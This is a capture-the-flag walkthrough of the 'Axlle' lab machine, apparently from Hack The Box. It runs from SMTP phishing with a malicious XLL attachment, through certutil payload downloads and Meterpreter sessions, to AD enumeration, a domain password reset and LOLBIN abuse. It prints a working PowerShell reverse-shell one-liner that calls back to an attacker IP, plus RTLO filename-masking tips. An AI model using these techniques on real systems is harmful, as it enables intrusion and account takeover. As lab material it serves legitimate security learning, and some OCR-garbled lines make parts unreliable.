

Axlle

1. Enumeration

Nmap scanning to check services running on this machine

A http service available, we also can see email service on port 25 smtp




We are able to use swaks to test SMTP port, and we realize that we can send emails

```
-(kali⊕kali)-[~]
To: accounts@axlle.htb
   Trying axlle.htb:25...
 ≡ Connected to axlle.htb.
   220 MAINFRAME ESMTP
  → EHLO kali.kali
   250-MAINFRAME
   250-SIZE 20480000
   250-AUTH LOGIN
   250 HELP
 → MAIL FROM:<kali@kali.kali>
   RCPT TO:<accounts@axlle.htb>
   250 OK
 → DATA
← 354 OK, send.
 → Date: Thu, 04 Jul 2024 09:30:47 -0400
 → To: accounts@axlle.htb
 → From: kali@kali.kali
 → Subject: test Thu, 04 Jul 2024 09:30:47 -0400
 → Message-Id: <20240704093047.030331@kali.kali>
 → X-Mailer: swaks v20240103.0 jetmore.org/john/code/swaks/
 → This is a test mailing
   250 Queued (10.469 seconds)
 → QUIT
   221 goodbye
   Connection closed with remote host.
```

2. User flag

Checking the web application, there are some clues, about the format of the file we can send and the account available for this purpose



Searching on google we found a way to get RCE through a dll call when excel application is initializing

DLL Execution via Excel.Application RegisterXLL() method

A DLL can be loaded and executed via Excel by initializing the Excel.Application COM object and passing a DLL to the RegisterXLL method. The DLL path does *not* need to be local, it can also be a UNC path that points to a remote WebDAV server.

When delivering via WebDAV, it should be noted that the DLL is still written to disk but the dropped file is not the one loaded in to the process. This is the case for any file downloaded via WebDAV, and they are stored at: C:\Windows\ServiceProfiles \LocalService\AppData\Local\Temp\TfsStore\Tfs_DAV\.

The RegisterXLL function expects an XLL add-in which is essentially a specially crafted DLL with specific exports. More info on XLL's can be found on MSDN

The XLL can also be executed by double-clicking the .xll file, however there is a security warning. @rxwx has more notes on this here including his simple example of an XLL.

An interesting thing about Office, is it will perform file format sniffing for certain extensions, such as .xls, .xlk, and .doc (and probably more). This means that you can rename the .xll to a .xls or .xlk and it will still open. However, the initial add-in warning is still triggered, along with another warning that mentions the file format and extension don't match.

Since the add-in warning shows the full path to the filename, certain unicode characters can be used to mask the .xll extension. One of my favorites is the [Right-to-Left Override Character] (http://www.fileformat.info/info/unicode/char/202e/index.htm). By using this character, you can make the Excel file appear as if it has any extension. For example, the filename Footba\u202Es\u201x.x\u2011\u201a\u201

Here is a basic example of a DLL with the required xlAutoOpen export to make it an XLL that executes on open. As with any DLL, execution can also be triggered in the DLL_PROCESS_ATTACH case.

We proceed to create the c file

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And convert the type to a shared library file which will be open with excel

```
(kali@kali)-[~/Desktop/Axlle]
$ x86_64-w64-mingw32-gcc -fPIC -shared -o ex.xll ex.c -luser32
```



x86_64-w64-mingw32-gcc This is a MinGWX64 GCC compiler for windows targeting the x86-64 architecture

This option generates position independent code, which is useful for shared libraries

-shared This flag tells the compiler to create a shared library instead of a executable

-luser32 This links the user2 library which is a windows library providing functions for use interface components like windows.

Then send the email attaching the xll file with the rev shell generated

```
-(kali®kali)-[~/Desktop/Axlle]
$ swaks -t accounts@axlle.htb -attach @ex.xll
■ Trying axlle.htb:25...
Connected to axlle.htb.
← 220 MAINFRAME ESMTP
→ EHLO kali.kali
← 250-MAINFRAME
← 250-SIZE 20480000
← 250-AUTH LOGIN
← 250 HELP
→ MAIL FROM:<kali@kali.kali>
← 250 OK
→ RCPT TO:<accounts@axlle.htb>
← 250 OK
\rightarrow DATA

← 354 OK, send.

→ Date: Thu, 04 Jul 2024 10:33:44 -0400
→ To: accounts@axlle.htb
→ From: kali@kali.kali
→ Subject: test Thu, 04 Jul 2024 10:33:44 -0400
→ Message-Id: <20240704103344.061802@kali.kali>
 → X-Mailer: swaks v20240103.0 jetmore.org/john/code/swaks/
→ MIME-Version: 1.0
→ Content-Type: multipart/mixed; boundary="----=_MIME_BOUNDARY_000_61802"
        -=_MIME_BOUNDARY_000_61802
→ Content-Type: text/plain
→ This is a test mailing
        -=_MIME_BOUNDARY_000_61802
```

Got the shell as gideon

```
-(kali⊕kali)-[~]
└$ nc -lnvp 1234
Listening on 0.0.0.0 1234
Connection received on 10.10.11.21 65413
ls
    Directory: C:\
Mode
                                          Length Name
                    LastWriteTime
              1/1/2024 10:03 PM
                                                 App Development
              1/1/2024
                        6:33 AM
                                                 inetpub
                        1:20 AM
              5/8/2021
                                                 PerfLogs
d-r-
             6/13/2024
                         2:20 AM
                                                 Program Files
                         2:23 AM
d-----
              6/13/2024
                                                 Program Files (x86)
d-r-
              1/1/2024
                          4:15 AM
                                                 Users
d---
              6/13/2024
                         4:30 AM
                                                 Windows
```

Checking email, there is a automation development process which manage url's

We can try to create a url which point to a malicious executable, that's how we could be able to make a lateral movement due to this process is made by another user with other privileges

```
CertUtil: A connection with the server could not be established
PS C:\inetpub\testing> certutil -urlcache -split -f http://10.10.14.246:8000/rev.exe
**** Online ****
0000 ...
1c00
CertUtil: -URLCache command completed successfully.
```

We can create the .url file with notes or creating an object with powershell



Now we've got the user flag

```
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload ⇒ windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.10.14.246:4444
[*] Sending stage (201798 bytes) to 10.10.11.21
s[*] Meterpreter session 3 opened (10.10.14.246:4444 → 10.10.11.21:53734) at 2024-07-04 12:10:08 -0400 hwl
meterpreter > shell
Process 2696 created.
Channel 1 created.
Microsoft Windows [Version 10.0.20348.2527]
(c) Microsoft Corporation. All rights reserved.

C:\>whoami
whoami
axlle\dallon.matrix
```

3.Priv esc

It's time to enumerate active directory using Sharphound.exe

```
C:\Users\public>SharpHound.exe
SharpHound.exe
2024-07-04T11:10:02.8605018-07:00|INFORMATION|This version of SharpHound is compatible with the 4.2 Release of BloodHound
2024-07-04T11:10:02.9855056-07:00|INFORMATION|Resolved Collection Methods: Group, LocalAdmin, Session, Trusts, ACL, Container, RDP, ObjectProps, DC
0M, SPNTargets, PSRemote
2024-07-04T11:10:03.3136722-07:00|INFORMATION|Initializing SharpHound at 11:10 AM on 7/4/2024
2024-07-04T11:10:03.3136722-07:00|INFORMATION|Loaded cache with stats: 0 ID to type mappings.
0 name to SID mappings.
0 sid to domain mappings.
0 global catalog mappings.
0 global catalog mappings.
2024-07-04T11:10:03.3292578-07:00|INFORMATION|Flags: Group, LocalAdmin, Session, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemo te
2024-07-04T11:10:03.4855104-07:00|INFORMATION|Beginning LDAP search for axlle.htb
2024-07-04T11:10:03.5167542-07:00|INFORMATION|Producer has finished, closing LDAP channel
2024-07-04T11:10:03.51657542-07:00|INFORMATION|Consumers finished, closing to DAP channel
2024-07-04T11:10:13.5480264-07:00|INFORMATION|Consumers finished, closed, waiting for consumers
2024-07-04T11:10:149,8292508-07:00|INFORMATION|Consumers finished, closing output channel
2024-07-04T11:10:149,8292508-07:00|INFORMATION|Consumers finished, closing output channel
2024-07-04T11:10:149,9229948-07:00|INFORMATION|Consumers finished (+113 2.456522)/s -- Using 45 MB RAM
2024-07-04T11:10:149,9229948-07:00|INFORMATION|Status: 113 objects finished (+113 2.456522)/s -- Using 45 MB RAM
2024-07-04T11:10:149,9229948-07:00|INFORMATION|Saving cache with stats: 72 ID to type mappings.
72 name to SID mappings.
```

Due to some permission issues we will need to create a shell using metasploit to download files generated by sharphound

```
meterpreter > download 20240704111049_BloodHound.zip /home/kali/Desktop/Axlle


[*] Downloading: 20240704111049_BloodHound.zip → /home/kali/Desktop/Axlle/20240704111049_BloodHound.zip

[*] Downloaded 12.42 KiB of 12.42 KiB (100.0%): 20240704111049_BloodHound.zip → /home/kali/Desktop/Axlle/20240704111049_BloodHound.zip


[*] Completed : 20240704111049_BloodHound.zip → /home/kali/Desktop/Axlle/20240704111049_BloodHound.zip

meterpreter > ■
```

We are part of web devs users, which can change password in jacob user, which in turn has permissions to control domain controller



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Powerview is a Powershell tool to gain network situational awareness on Windows domains. It contains a set of pure-PowerShell replacements for various windows net commands, which use PowerShell AD hooks and underlying Win32 API functions to perform useful Windows domain functionality.

It also implements various useful metafunctions, including some custom written user-hunting functions which will identity where the network specific users are logged into. It can also check which machines in the domain the current user has local administrator access on. Several functions for the enumeration and abuse of domain trust also exist.

```
PS C:\Users\Public> . .\PowerView.ps1 . .\PowerView.ps1
```

Create a secure string

PS C:\Users\Public> \$UserPasssword = ConvertTo-SecureString '1q2w3e4r5t6y!!'-AsPlainText -Force \$UserPasssword = ConvertTo-SecureString '1q2w3e4r5t6y!!'-AsPlainText -Force

And set the jacob password

```
PS C:\Users\Public> Set-DomainUserPassword -Identity JACOB.GREENY -AccountPassword $UserPasssword Set-DomainUserPassword -Identity JACOB.GREENY -AccountPassword $UserPasssword
```

```
PS C:\Users\Public> . .\PowerView.ps1
    . .\PowerView.ps1
PS C:\Users\Public> $Password = ConvertTo-SecureString 'tricp7!!' -Force -AsPlainText

$Password = ConvertTo-SecureString 'tricp7!!' -Force -AsPlainText
PS C:\Users\Public> Set-DomainUserPassword -IdentityJACOB.GREENY -AccountPassword $Password

Set-DomainUserPassword -IdentityJACOB.GREENY -AccountPassword $Password

Set-DomainUserPassword : A parameter cannot be found that matches parameter name 'IdentityJACOB'.

At line:1 char:24
+ Set-DomainUserPassword -IdentityJACOB.GREENY -AccountPassword $Passwo ...
+ CategoryInfo : InvalidArgument: (:) [Set-DomainUserPassword], ParameterBindingException
+ FullyQualifiedErrorId : NamedParameterNotFound,Set-DomainUserPassword

PS C:\Users\Public> Set-DomainUserPassword -Identity JACOB.GREENY -AccountPassword $Password

PS C:\Users\Public> Set-DomainUserPassword -Identity JACOB.GREENY -AccountPassword $Password

PS C:\Users\Public> exit
exit
```

Run ps as jacob, it is also possible to use runnasCS

```
meterpreter > run post/windows/manage/run_as_psh USER=JACOB.GREENY PASS=tricp7!! EXE=cmd.exe

[*] Hidden mode may not work on older powershell versions, if it fails, try HIDDEN=false
[*] Process 1764 created.

[*] Channel 36 created.

Microsoft Windows [Version 10.0.20348.2527]
[(c) Microsoft Corporation. All rights reserved.

[*] C:\>
```

Now we can see app development content

But the key is on StandaloneTesting files, initially this machine had a bug where hackers could replace this file with a malicious rev shell a it was ran as Administrator but this was patched and now we only have the intended way

option, we can see documentation about this file to create a vector attack to elevate our privileges

https://github.com/nasbench/Misc-Research/blob/main/LOLBINs/Standal oneRunner.md

We can see Administrator has full control over this file

Attack vector

Within the .NET source code there is a function which receives as a parameter a string which is execute by cmd, we need to find a way to call it, that's when we use handlereboot function to call it

- 1. We need to create a reboot.rsf which will contain the next directory in the first line, and a boolean in the second line
- 2. Create a directory between work and working, the name of this file has to be specified on reboot.rsf
- 3. It is necessary to create the next directory with working as a name and inside put a file called rsf.rsf
- 4. Create the command.txt file with the rev shell made using powershell

```
C:\Users\jacob.greeny\work> wget http://10.10.14.246:8000/command.txt -o command.txt
            PS C:\Users\jacob.greeny\work> dir
    Directory: C:\Users\jacob.greeny\work
Mode
                    LastWriteTime
                                           Length Name
d-
                7/5/2024
                          1:50 PM
                                                 mvTestDir
                7/5/2024
                          1:52 PM
                                              689 command.txt
                7/5/2024
                          1:48 PM
                                              36 reboot.rsf
```

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```
*Evil-WinRM* PS C:\Users\jacob.greeny\work> cat reboot.rsf
myTestDir
True
```

Styll-WinRMM PS C:\Users\jacob.greeny\work> type command.txt
powershell.exe -nop -WindowStyle hidden -NonInteractive -ExecutionPolicy Bypass -Command "\$TCPClient = New-Object Net.Socke
ts.TCPClient('10.10.14.246', 7777); \$NetworkStream = \$TCPClient.GetStream(); \$StreamWriter = New-Object IO.StreamWriter(\$NetworkStream); function WriteToStream (\$String) {[byte[]]\$script:Buffer = 0..\$TCPClient.ReceiveBufferSize | ForEach-Object {0};
\$StreamWriter.Write(\$String + 'SHELL> '); \$StreamWriter.Flush()}WriteToStream ''; while((\$BytesRead = \$NetworkStream.Read(\$Buffer, 0, \$Buffer.Length)) -gt 0) {\$Command = [text.encoding]::UTF8.GetString(\$Buffer, 0, \$BytesRead - 1); \$Output = try {Invoke-Expression \$Command 2>61 | Out-String} catch {\$_ | Out-String}WriteToStream (\$Output)}\$StreamWriter.Close()"

```
(kali⊗kali)-[~]
$ nc -lnvp 7777
Listening on 0.0.0.0 7777
Connection received on 10.10.11.21 52245
SHELL> whoami
axlle\administrator
SHELL> ■
```

Machine pwned@!@#!